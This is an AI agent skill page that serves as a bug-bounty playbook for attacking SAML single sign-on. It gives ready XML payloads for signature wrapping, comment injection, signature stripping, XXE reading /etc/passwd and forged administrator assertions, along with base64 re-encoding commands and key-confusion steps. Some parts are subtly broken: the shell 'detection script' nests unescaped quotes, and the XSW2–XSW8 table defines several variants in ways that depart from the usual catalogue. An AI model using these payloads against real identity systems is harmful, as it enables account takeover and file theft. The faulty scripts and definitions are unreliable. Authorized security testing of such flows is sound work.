# Hunt Saml

> Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation.

- Skill: `uphiago/hunt-saml` (Agent Skill)
- Install (CLI): `npx skillmds@latest add uphiago/hunt-saml`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/hunt-saml/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/hunt-saml

---


## 20. SAML / SSO ATTACKS
> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

### Attack Surface
```bash
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
```

### Attack 1: XML Signature Wrapping (XSW)
```xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>
```

### Attack 2: Comment Injection in NameID
```xml
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
```

### Attack 3: Signature Stripping
```
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
```

### Attack 4: XXE in SAML Assertion
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>
```

### Attack 5: NameID Manipulation
```
Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
```

### Tools
```bash
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
```

### SAML Triage
```
XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)
```

## Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)

**Source:** https://portswigger.net/research/the-fragile-lock

The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in
parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:

### 6a. Parser Differentials
Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:
- **XML comment boundaries** — signer uses `C14N without comments`, verifier uses `C14N with comments`,
  or vice versa. The effective signed value differs from the verified value.
- **Whitespace normalization** — `NameID` with trailing spaces, tab-vs-space between attributes,
  namespace prefix expansion (xmlns:prefix vs inherited default namespace).
- **Entity expansion order** — Internal entity vs external entity processing order in the parser
  pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.
- **CDATA section handling** — `<NameID><![CDATA[admin@company.com]]></NameID>` vs
  `<NameID>admin@company.com</NameID>` — some parsers strip CDATA, some keep it.

**Detection script:**
```bash
# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.

# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID>  admin@company.com  </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[admin@company.com]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>admin@evil.com</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
```

### 6b. Multi-Signature / Signature Copy
Some SPs accept assertions with MULTIPLE `<ds:Signature>` elements. An attacker can:
1. Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
2. Strip the original signed assertion, keeping only the `<ds:Signature>`.
3. Wrap a NEW evil assertion with the copied-signature element attached.

```xml
<!-- Attacker copies a valid signature from any previously-seen SAML assertion -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>
    <AttributeStatement>
      <Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
    </AttributeStatement>
  </saml:Assertion>
  <ds:Signature><!-- Copied from another assertion; server verifies it exists, NOT what it covers --></ds:Signature>
</saml:Response>
```

### 6c. New XSW Variants (XSW2–XSW8)
Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML
libraries that added position-based or ID-based signature binding:

| Variant | Technique | Bypasses |
|---------|-----------|----------|
| **XSW2** | Move `<ds:Signature>` INSIDE a child element of the evil assertion | Libraries that verify signature position relative to root |
| **XSW3** | Split assertion across XML-comment boundaries in the reference URI | Libraries that use URI-fragment matching |
| **XSW4** | Inject a second `AssertionIDRef` / `AuthnStatement` inside the signed assertion | Libraries that process all statements, not just first |
| **XSW5** | Use `xml:id` / `ID` attribute on the INJECTED assertion matching the signed reference's `URI` | Libraries that match by ID string, not DOM position |
| **XSW6** | Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespace | Libraries that key on prefix string |
| **XSW7** | XML External Entity (XXE) inside the signature-reference URI to poison the digest check | Libraries that resolve entities during signature validation |
| **XSW8** | XSLT transform injection in the `<ds:Transform>` element — transforms the post-signature DOM | Libraries that apply transforms after verification |

**Probing script for XSW2–XSW5:**
```python
# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>
    <ds:Signature><!-- Copied valid signature --></ds:Signature>
  </saml:Assertion>
</saml:Response>'''

# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
  <saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
    ...
  </saml:Assertion>
  <saml:Assertion ID="evil"><!-- Not referenced but processed first -->
    <NameID>admin@company.com</NameID>
  </saml:Assertion>
</saml:Response>'''

# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature><!-- Valid --></ds:Signature>
    <saml:AuthnStatement><!-- SP reads this one, overrides original -->
      <saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</saml:Response>'''
```

### Triage: Key Confusion Variant
When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by
IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not
validate `<Issuer>` or `<AudienceRestriction>`, the attacker-IdP-signed assertion grants access.
```bash
# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for admin@company.com with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO
```

---

## Verification

Run this self-test to confirm saml hunting readiness:

1. **Skill integrity** — confirm the skill file is readable and well-formed:
   ```bash
   grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   ```

2. **Category check** — confirm the skill has a category:
   ```bash
   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   ```

3. **Pitfalls section** — confirm pitfalls are documented:
   ```bash
   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   ```

All 3 tests verify the skill is properly structured and ready for use.

---

## Pitfalls
- **SAML without signature validation** — unsigned assertions or `WantAssertionsSigned="false"` are the primary SAML findings.
- **XML signature wrapping (XSW)** — classic SAML attack. Test all 8 XSW variants, not just #1.
- **SAML Response replay** — capturing and replaying a SAML Response within its validity window. Test NotOnOrAfter enforcement.
- **SAML-to-JWT confusion** — SAML assertions are XML; JWT is JSON. Don't cross-apply attack techniques.
- **SP metadata publicly accessible** — accessing `/saml/metadata` is informational. The finding is what the metadata reveals (unsigned requests, weak algorithms).

---

## Related Skills & Chains

- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
- **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.

